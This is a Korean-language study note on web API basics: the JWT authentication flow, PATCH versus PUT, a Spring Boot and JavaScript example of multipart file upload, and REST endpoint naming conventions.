JWT 흐름은 다음과 같습니다. 로그인 시 POST /api/login을 보내면 서버가 JWT를 생성하여 사용자 정보를 포함한 후 클라이언트에 반환합니다. 이후 요청 시 GET /api/profile을 Authorization: Bearer 와 함께 보내면, 서버가 JWT를 검증하고 서명을 확인한 후 토큰에서 사용자 정보를 추출하여 요청을 처리합니다. 서버는 상태를 저장하지 않아 Stateless합니다!
대부분 PATCH를 선호합니다.
PUT은 전체 필드를 보내야 하고, 누락된 필드는 null이 되어 사용자 입력 실수 가능성이 증가합니다.
PATCH는 변경할 필드만 보내고 나머지 필드는 유지되어 사용자 편의성이 증가합니다.
예를 들어 사용자 정보에서 이메일만 바꾸고 싶을 때, PUT은 name, email, age, phone 등 모든 필드를 입력해야 하지만, PATCH는 email만 보내면 됩니다.
실무 권장사항으로는 기본적으로 PATCH를 사용하고, PUT은 특별한 경우에만(전체 교체가 명확한 경우) 사용합니다.
multipart/form-data를 사용합니다.@PostMapping("/api/posts/{id}/image") public ResponseEntity<String> uploadImage( @PathVariable Long id, @RequestParam("file") MultipartFile file) { if (file.isEmpty()) { return ResponseEntity.badRequest().body("파일이 없습니다."); } // 파일 저장 String filename = fileService.store(file); // Post에 이미지 URL 저장 postService.updateImage(id, filename); return ResponseEntity.ok(filename); }클라이언트 (JavaScript)에서는 다음과 같이 사용합니다.
const formData = new FormData(); formData.append('file', fileInput.files[0]); fetch(`/api/posts/${postId}/image`, { method: 'POST', body: formData // Content-Type: multipart/form-data 자동 설정 })
원칙적으로는 명사를 사용하지만, 불가피한 경우 동사가 허용됩니다.
좋은 예(명사)는 GET /api/users, POST /api/orders, PUT /api/products/123입니다. 나쁜 예(동사)는 GET /api/getUsers, POST /api/createOrder, PUT /api/updateProduct/123입니다.
하지만 다음과 같은 경우는 동사가 더 명확합니다.
비밀번호 재설정은 PUT /api/users/123/password보다 POST /api/users/123/reset-password가 명확합니다. 주문 취소는 DELETE /api/orders/123 (삭제? 취소?)보다 POST /api/orders/123/cancel이 명확합니다. 이메일 발송은 POST /api/emails (이메일 리소스 생성?)보다 POST /api/users/123/send-email이 명확합니다.
실무 가이드로는 기본은 명사 + HTTP 메서드를 사용하되, 불가피한 경우 동사를 허용하며, 중요한 것은 일관성과 명확성입니다.
DNS
CORS
REST